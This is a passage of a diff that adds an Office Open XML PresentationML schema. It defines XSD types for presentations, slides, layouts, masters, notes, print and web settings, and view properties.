<xsd:minInclusive value="1"/> + <xsd:maxExclusive value="2147483648"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_ModifyVerifier"> + <xsd:attribute name="algorithmName" type="xsd:string" use="optional"/> + <xsd:attribute name="hashValue" type="xsd:base64Binary" use="optional"/> + <xsd:attribute name="saltValue" type="xsd:base64Binary" use="optional"/> + <xsd:attribute name="spinValue" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="cryptProviderType" type="s:ST_CryptProv" use="optional"/> + <xsd:attribute name="cryptAlgorithmClass" type="s:ST_AlgClass" use="optional"/> + <xsd:attribute name="cryptAlgorithmType" type="s:ST_AlgType" use="optional"/> + <xsd:attribute name="cryptAlgorithmSid" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="spinCount" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="saltData" type="xsd:base64Binary" use="optional"/> + <xsd:attribute name="hashData" type="xsd:base64Binary" use="optional"/> + <xsd:attribute name="cryptProvider" type="xsd:string" use="optional"/> + <xsd:attribute name="algIdExt" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="algIdExtSource" type="xsd:string" use="optional"/> + <xsd:attribute name="cryptProviderTypeExt" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="cryptProviderTypeExtSource" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Presentation"> + <xsd:sequence> + <xsd:element name="sldMasterIdLst" type="CT_SlideMasterIdList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="notesMasterIdLst" type="CT_NotesMasterIdList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="handoutMasterIdLst" type="CT_HandoutMasterIdList" minOccurs="0" + maxOccurs="1"/> + <xsd:element name="sldIdLst" type="CT_SlideIdList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sldSz" type="CT_SlideSize" minOccurs="0" maxOccurs="1"/> + <xsd:element name="notesSz" type="a:CT_PositiveSize2D" minOccurs="1" maxOccurs="1"/> + <xsd:element name="smartTags" type="CT_SmartTags" minOccurs="0" maxOccurs="1"/> + <xsd:element name="embeddedFontLst" type="CT_EmbeddedFontList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="custShowLst" type="CT_CustomShowList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="photoAlbum" type="CT_PhotoAlbum" minOccurs="0" maxOccurs="1"/> + <xsd:element name="custDataLst" type="CT_CustomerDataList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="kinsoku" type="CT_Kinsoku" minOccurs="0"/> + <xsd:element name="defaultTextStyle" type="a:CT_TextListStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="modifyVerifier" type="CT_ModifyVerifier" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="serverZoom" type="a:ST_Percentage" use="optional" default="50%"/> + <xsd:attribute name="firstSlideNum" type="xsd:int" use="optional" default="1"/> + <xsd:attribute name="showSpecialPlsOnTitleSld" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="rtl" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="removePersonalInfoOnSave" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="compatMode" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="strictFirstAndLastChars" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="embedTrueTypeFonts" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="saveSubsetFonts" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="autoCompressPictures" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="bookmarkIdSeed" type="ST_BookmarkIdSeed" use="optional" default="1"/> + <xsd:attribute name="conformance" type="s:ST_ConformanceClass"/> + </xsd:complexType> + <xsd:element name="presentation" type="CT_Presentation"/> + <xsd:complexType name="CT_HtmlPublishProperties"> + <xsd:sequence> + <xsd:group ref="EG_SlideListChoice" minOccurs="1" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="showSpeakerNotes" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="target" type="xsd:string" use="optional"/> + <xsd:attribute name="title" type="xsd:string" use="optional" default=""/> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_WebColorType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="browser"/> + <xsd:enumeration value="presentationText"/> + <xsd:enumeration value="presentationAccent"/> + <xsd:enumeration value="whiteTextOnBlack"/> + <xsd:enumeration value="blackTextOnWhite"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_WebScreenSize"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="544x376"/> + <xsd:enumeration value="640x480"/> + <xsd:enumeration value="720x512"/> + <xsd:enumeration value="800x600"/> + <xsd:enumeration value="1024x768"/> + <xsd:enumeration value="1152x882"/> + <xsd:enumeration value="1152x900"/> + <xsd:enumeration value="1280x1024"/> + <xsd:enumeration value="1600x1200"/> + <xsd:enumeration value="1800x1400"/> + <xsd:enumeration value="1920x1200"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_WebEncoding"> + <xsd:restriction base="xsd:string"/> + </xsd:simpleType> + <xsd:complexType name="CT_WebProperties"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="showAnimation" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="resizeGraphics" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="allowPng" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="relyOnVml" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="organizeInFolders" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="useLongFilenames" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="imgSz" type="ST_WebScreenSize" use="optional" default="800x600"/> + <xsd:attribute name="encoding" type="ST_WebEncoding" use="optional" default=""/> + <xsd:attribute name="clr" type="ST_WebColorType" use="optional" default="whiteTextOnBlack"/> + </xsd:complexType> + <xsd:simpleType name="ST_PrintWhat"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="slides"/> + <xsd:enumeration value="handouts1"/> + <xsd:enumeration value="handouts2"/> + <xsd:enumeration value="handouts3"/> + <xsd:enumeration value="handouts4"/> + <xsd:enumeration value="handouts6"/> + <xsd:enumeration value="handouts9"/> + <xsd:enumeration value="notes"/> + <xsd:enumeration value="outline"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_PrintColorMode"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="bw"/> + <xsd:enumeration value="gray"/> + <xsd:enumeration value="clr"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_PrintProperties"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="prnWhat" type="ST_PrintWhat" use="optional" default="slides"/> + <xsd:attribute name="clrMode" type="ST_PrintColorMode" use="optional" default="clr"/> + <xsd:attribute name="hiddenSlides" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="scaleToFitPaper" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="frameSlides" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_ShowInfoBrowse"> + <xsd:attribute name="showScrollbar" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_ShowInfoKiosk"> + <xsd:attribute name="restart" type="xsd:unsignedInt" use="optional" default="300000"/> + </xsd:complexType> + <xsd:group name="EG_ShowType"> + <xsd:choice> + <xsd:element name="present" type="CT_Empty"/> + <xsd:element name="browse" type="CT_ShowInfoBrowse"/> + <xsd:element name="kiosk" type="CT_ShowInfoKiosk"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_ShowProperties"> + <xsd:sequence minOccurs="0" maxOccurs="1"> + <xsd:group ref="EG_ShowType" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_SlideListChoice" minOccurs="0" maxOccurs="1"/> + <xsd:element name="penClr" type="a:CT_Color" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="loop" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="showNarration" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="showAnimation" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="useTimings" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_PresentationProperties"> + <xsd:sequence> + <xsd:element name="htmlPubPr" type="CT_HtmlPublishProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="webPr" type="CT_WebProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="prnPr" type="CT_PrintProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="showPr" type="CT_ShowProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="clrMru" type="a:CT_ColorMRU" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="presentationPr" type="CT_PresentationProperties"/> + <xsd:complexType name="CT_HeaderFooter"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_ExtensionListModify" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="sldNum" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="hdr" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="ftr" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="dt" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:simpleType name="ST_PlaceholderType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="title"/> + <xsd:enumeration value="body"/> + <xsd:enumeration value="ctrTitle"/> + <xsd:enumeration value="subTitle"/> + <xsd:enumeration value="dt"/> + <xsd:enumeration value="sldNum"/> + <xsd:enumeration value="ftr"/> + <xsd:enumeration value="hdr"/> + <xsd:enumeration value="obj"/> + <xsd:enumeration value="chart"/> + <xsd:enumeration value="tbl"/> + <xsd:enumeration value="clipArt"/> + <xsd:enumeration value="dgm"/> + <xsd:enumeration value="media"/> + <xsd:enumeration value="sldImg"/> + <xsd:enumeration value="pic"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_PlaceholderSize"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="full"/> + <xsd:enumeration value="half"/> + <xsd:enumeration value="quarter"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Placeholder"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_ExtensionListModify" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="type" type="ST_PlaceholderType" use="optional" default="obj"/> + <xsd:attribute name="orient" type="ST_Direction" use="optional" default="horz"/> + <xsd:attribute name="sz" type="ST_PlaceholderSize" use="optional" default="full"/> + <xsd:attribute name="idx" type="xsd:unsignedInt" use="optional" default="0"/> + <xsd:attribute name="hasCustomPrompt" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_ApplicationNonVisualDrawingProps"> + <xsd:sequence> + <xsd:element name="ph" type="CT_Placeholder" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="a:EG_Media" minOccurs="0" maxOccurs="1"/> + <xsd:element name="custDataLst" type="CT_CustomerDataList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="isPhoto" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="userDrawn" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_ShapeNonVisual"> + <xsd:sequence> + <xsd:element name="cNvPr" type="a:CT_NonVisualDrawingProps" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cNvSpPr" type="a:CT_NonVisualDrawingShapeProps" minOccurs="1" maxOccurs="1"/> + <xsd:element name="nvPr" type="CT_ApplicationNonVisualDrawingProps" minOccurs="1" + maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Shape"> + <xsd:sequence> + <xsd:element name="nvSpPr" type="CT_ShapeNonVisual" minOccurs="1" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="style" type="a:CT_ShapeStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="txBody" type="a:CT_TextBody" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionListModify" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="useBgFill" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_ConnectorNonVisual"> + <xsd:sequence> + <xsd:element name="cNvPr" type="a:CT_NonVisualDrawingProps" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cNvCxnSpPr" type="a:CT_NonVisualConnectorProperties" minOccurs="1" + maxOccurs="1"/> + <xsd:element name="nvPr" type="CT_ApplicationNonVisualDrawingProps" minOccurs="1" + maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Connector"> + <xsd:sequence> + <xsd:element name="nvCxnSpPr" type="CT_ConnectorNonVisual" minOccurs="1" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="style" type="a:CT_ShapeStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionListModify" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_PictureNonVisual"> + <xsd:sequence> + <xsd:element name="cNvPr" type="a:CT_NonVisualDrawingProps" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cNvPicPr" type="a:CT_NonVisualPictureProperties" minOccurs="1" + maxOccurs="1"/> + <xsd:element name="nvPr" type="CT_ApplicationNonVisualDrawingProps" minOccurs="1" + maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Picture"> + <xsd:sequence> + <xsd:element name="nvPicPr" type="CT_PictureNonVisual" minOccurs="1" maxOccurs="1"/> + <xsd:element name="blipFill" type="a:CT_BlipFillProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="style" type="a:CT_ShapeStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionListModify" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_GraphicalObjectFrameNonVisual"> + <xsd:sequence> + <xsd:element name="cNvPr" type="a:CT_NonVisualDrawingProps" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cNvGraphicFramePr" type="a:CT_NonVisualGraphicFrameProperties" + minOccurs="1" maxOccurs="1"/> + <xsd:element name="nvPr" type="CT_ApplicationNonVisualDrawingProps" minOccurs="1" + maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_GraphicalObjectFrame"> + <xsd:sequence> + <xsd:element name="nvGraphicFramePr" type="CT_GraphicalObjectFrameNonVisual" minOccurs="1" + maxOccurs="1"/> + <xsd:element name="xfrm" type="a:CT_Transform2D" minOccurs="1" maxOccurs="1"/> + <xsd:element ref="a:graphic" minOccurs="1" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionListModify" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="bwMode" type="a:ST_BlackWhiteMode" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_GroupShapeNonVisual"> + <xsd:sequence> + <xsd:element name="cNvPr" type="a:CT_NonVisualDrawingProps" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cNvGrpSpPr" type="a:CT_NonVisualGroupDrawingShapeProps" minOccurs="1" + maxOccurs="1"/> + <xsd:element name="nvPr" type="CT_ApplicationNonVisualDrawingProps" minOccurs="1" + maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_GroupShape"> + <xsd:sequence> + <xsd:element name="nvGrpSpPr" type="CT_GroupShapeNonVisual" minOccurs="1" maxOccurs="1"/> + <xsd:element name="grpSpPr" type="a:CT_GroupShapeProperties" minOccurs="1" maxOccurs="1"/> + <xsd:choice minOccurs="0" maxOccurs="unbounded"> + <xsd:element name="sp" type="CT_Shape"/> + <xsd:element name="grpSp" type="CT_GroupShape"/> + <xsd:element name="graphicFrame" type="CT_GraphicalObjectFrame"/> + <xsd:element name="cxnSp" type="CT_Connector"/> + <xsd:element name="pic" type="CT_Picture"/> + <xsd:element name="contentPart" type="CT_Rel"/> + </xsd:choice> + <xsd:element name="extLst" type="CT_ExtensionListModify" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Rel"> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:group name="EG_TopLevelSlide"> + <xsd:sequence> + <xsd:element name="clrMap" type="a:CT_ColorMapping" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:group> + <xsd:group name="EG_ChildSlide"> + <xsd:sequence> + <xsd:element name="clrMapOvr" type="a:CT_ColorMappingOverride" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:group> + <xsd:attributeGroup name="AG_ChildSlide"> + <xsd:attribute name="showMasterSp" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="showMasterPhAnim" type="xsd:boolean" use="optional" default="true"/> + </xsd:attributeGroup> + <xsd:complexType name="CT_BackgroundProperties"> + <xsd:sequence> + <xsd:group ref="a:EG_FillProperties" minOccurs="1" maxOccurs="1"/> + <xsd:group ref="a:EG_EffectProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="shadeToTitle" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:group name="EG_Background"> + <xsd:choice> + <xsd:element name="bgPr" type="CT_BackgroundProperties"/> + <xsd:element name="bgRef" type="a:CT_StyleMatrixReference"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_Background"> + <xsd:sequence> + <xsd:group ref="EG_Background"/> + </xsd:sequence> + <xsd:attribute name="bwMode" type="a:ST_BlackWhiteMode" use="optional" default="white"/> + </xsd:complexType> + <xsd:complexType name="CT_CommonSlideData"> + <xsd:sequence> + <xsd:element name="bg" type="CT_Background" minOccurs="0" maxOccurs="1"/> + <xsd:element name="spTree" type="CT_GroupShape" minOccurs="1" maxOccurs="1"/> + <xsd:element name="custDataLst" type="CT_CustomerDataList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="controls" type="CT_ControlList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="name" type="xsd:string" use="optional" default=""/> + </xsd:complexType> + <xsd:complexType name="CT_Slide"> + <xsd:sequence minOccurs="1" maxOccurs="1"> + <xsd:element name="cSld" type="CT_CommonSlideData" minOccurs="1" maxOccurs="1"/> + <xsd:group ref="EG_ChildSlide" minOccurs="0" maxOccurs="1"/> + <xsd:element name="transition" type="CT_SlideTransition" minOccurs="0" maxOccurs="1"/> + <xsd:element name="timing" type="CT_SlideTiming" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionListModify" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_ChildSlide"/> + <xsd:attribute name="show" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:element name="sld" type="CT_Slide"/> + <xsd:simpleType name="ST_SlideLayoutType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="title"/> + <xsd:enumeration value="tx"/> + <xsd:enumeration value="twoColTx"/> + <xsd:enumeration value="tbl"/> + <xsd:enumeration value="txAndChart"/> + <xsd:enumeration value="chartAndTx"/> + <xsd:enumeration value="dgm"/> + <xsd:enumeration value="chart"/> + <xsd:enumeration value="txAndClipArt"/> + <xsd:enumeration value="clipArtAndTx"/> + <xsd:enumeration value="titleOnly"/> + <xsd:enumeration value="blank"/> + <xsd:enumeration value="txAndObj"/> + <xsd:enumeration value="objAndTx"/> + <xsd:enumeration value="objOnly"/> + <xsd:enumeration value="obj"/> + <xsd:enumeration value="txAndMedia"/> + <xsd:enumeration value="mediaAndTx"/> + <xsd:enumeration value="objOverTx"/> + <xsd:enumeration value="txOverObj"/> + <xsd:enumeration value="txAndTwoObj"/> + <xsd:enumeration value="twoObjAndTx"/> + <xsd:enumeration value="twoObjOverTx"/> + <xsd:enumeration value="fourObj"/> + <xsd:enumeration value="vertTx"/> + <xsd:enumeration value="clipArtAndVertTx"/> + <xsd:enumeration value="vertTitleAndTx"/> + <xsd:enumeration value="vertTitleAndTxOverChart"/> + <xsd:enumeration value="twoObj"/> + <xsd:enumeration value="objAndTwoObj"/> + <xsd:enumeration value="twoObjAndObj"/> + <xsd:enumeration value="cust"/> + <xsd:enumeration value="secHead"/> + <xsd:enumeration value="twoTxTwoObj"/> + <xsd:enumeration value="objTx"/> + <xsd:enumeration value="picTx"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_SlideLayout"> + <xsd:sequence minOccurs="1" maxOccurs="1"> + <xsd:element name="cSld" type="CT_CommonSlideData" minOccurs="1" maxOccurs="1"/> + <xsd:group ref="EG_ChildSlide" minOccurs="0" maxOccurs="1"/> + <xsd:element name="transition" type="CT_SlideTransition" minOccurs="0" maxOccurs="1"/> + <xsd:element name="timing" type="CT_SlideTiming" minOccurs="0" maxOccurs="1"/> + <xsd:element name="hf" type="CT_HeaderFooter" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionListModify" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_ChildSlide"/> + <xsd:attribute name="matchingName" type="xsd:string" use="optional" default=""/> + <xsd:attribute name="type" type="ST_SlideLayoutType" use="optional" default="cust"/> + <xsd:attribute name="preserve" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="userDrawn" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:element name="sldLayout" type="CT_SlideLayout"/> + <xsd:complexType name="CT_SlideMasterTextStyles"> + <xsd:sequence> + <xsd:element name="titleStyle" type="a:CT_TextListStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="bodyStyle" type="a:CT_TextListStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="otherStyle" type="a:CT_TextListStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_SlideLayoutId"> + <xsd:restriction base="xsd:unsignedInt"> + <xsd:minInclusive value="2147483648"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_SlideLayoutIdListEntry"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="id" type="ST_SlideLayoutId" use="optional"/> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_SlideLayoutIdList"> + <xsd:sequence> + <xsd:element name="sldLayoutId" type="CT_SlideLayoutIdListEntry" minOccurs="0" + maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SlideMaster"> + <xsd:sequence minOccurs="1" maxOccurs="1"> + <xsd:element name="cSld" type="CT_CommonSlideData" minOccurs="1" maxOccurs="1"/> + <xsd:group ref="EG_TopLevelSlide" minOccurs="1" maxOccurs="1"/> + <xsd:element name="sldLayoutIdLst" type="CT_SlideLayoutIdList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="transition" type="CT_SlideTransition" minOccurs="0" maxOccurs="1"/> + <xsd:element name="timing" type="CT_SlideTiming" minOccurs="0" maxOccurs="1"/> + <xsd:element name="hf" type="CT_HeaderFooter" minOccurs="0" maxOccurs="1"/> + <xsd:element name="txStyles" type="CT_SlideMasterTextStyles" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionListModify" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="preserve" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:element name="sldMaster" type="CT_SlideMaster"/> + <xsd:complexType name="CT_HandoutMaster"> + <xsd:sequence> + <xsd:element name="cSld" type="CT_CommonSlideData" minOccurs="1" maxOccurs="1"/> + <xsd:group ref="EG_TopLevelSlide" minOccurs="1" maxOccurs="1"/> + <xsd:element name="hf" type="CT_HeaderFooter" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionListModify" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="handoutMaster" type="CT_HandoutMaster"/> + <xsd:complexType name="CT_NotesMaster"> + <xsd:sequence> + <xsd:element name="cSld" type="CT_CommonSlideData" minOccurs="1" maxOccurs="1"/> + <xsd:group ref="EG_TopLevelSlide" minOccurs="1" maxOccurs="1"/> + <xsd:element name="hf" type="CT_HeaderFooter" minOccurs="0" maxOccurs="1"/> + <xsd:element name="notesStyle" type="a:CT_TextListStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionListModify" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="notesMaster" type="CT_NotesMaster"/> + <xsd:complexType name="CT_NotesSlide"> + <xsd:sequence minOccurs="1" maxOccurs="1"> + <xsd:element name="cSld" type="CT_CommonSlideData" minOccurs="1" maxOccurs="1"/> + <xsd:group ref="EG_ChildSlide" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionListModify" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_ChildSlide"/> + </xsd:complexType> + <xsd:element name="notes" type="CT_NotesSlide"/> + <xsd:complexType name="CT_SlideSyncProperties"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="serverSldId" type="xsd:string" use="required"/> + <xsd:attribute name="serverSldModifiedTime" type="xsd:dateTime" use="required"/> + <xsd:attribute name="clientInsertedTime" type="xsd:dateTime" use="required"/> + </xsd:complexType> + <xsd:element name="sldSyncPr" type="CT_SlideSyncProperties"/> + <xsd:complexType name="CT_StringTag"> + <xsd:attribute name="name" type="xsd:string" use="required"/> + <xsd:attribute name="val" type="xsd:string" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_TagList"> + <xsd:sequence> + <xsd:element name="tag" type="CT_StringTag" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="tagLst" type="CT_TagList"/> + <xsd:simpleType name="ST_SplitterBarState"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="minimized"/> + <xsd:enumeration value="restored"/> + <xsd:enumeration value="maximized"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ViewType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="sldView"/> + <xsd:enumeration value="sldMasterView"/> + <xsd:enumeration value="notesView"/> + <xsd:enumeration value="handoutView"/> + <xsd:enumeration value="notesMasterView"/> + <xsd:enumeration value="outlineView"/> + <xsd:enumeration value="sldSorterView"/> + <xsd:enumeration value="sldThumbnailView"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_NormalViewPortion"> + <xsd:attribute name="sz" type="a:ST_PositiveFixedPercentage" use="required"/> + <xsd:attribute name="autoAdjust" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_NormalViewProperties"> + <xsd:sequence> + <xsd:element name="restoredLeft" type="CT_NormalViewPortion" minOccurs="1" maxOccurs="1"/> + <xsd:element name="restoredTop" type="CT_NormalViewPortion" minOccurs="1" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="showOutlineIcons" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="snapVertSplitter" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="vertBarState" type="ST_SplitterBarState" use="optional" default="restored"/> + <xsd:attribute name="horzBarState" type="ST_SplitterBarState" use="optional" default="restored"/> + <xsd:attribute name="preferSingleView" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_CommonViewProperties"> + <xsd:sequence> + <xsd:element name="scale" type="a:CT_Scale2D" minOccurs="1" maxOccurs="1"/> + <xsd:element name="origin" type="a:CT_Point2D" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="varScale" type="xsd:boolean" use="optional" 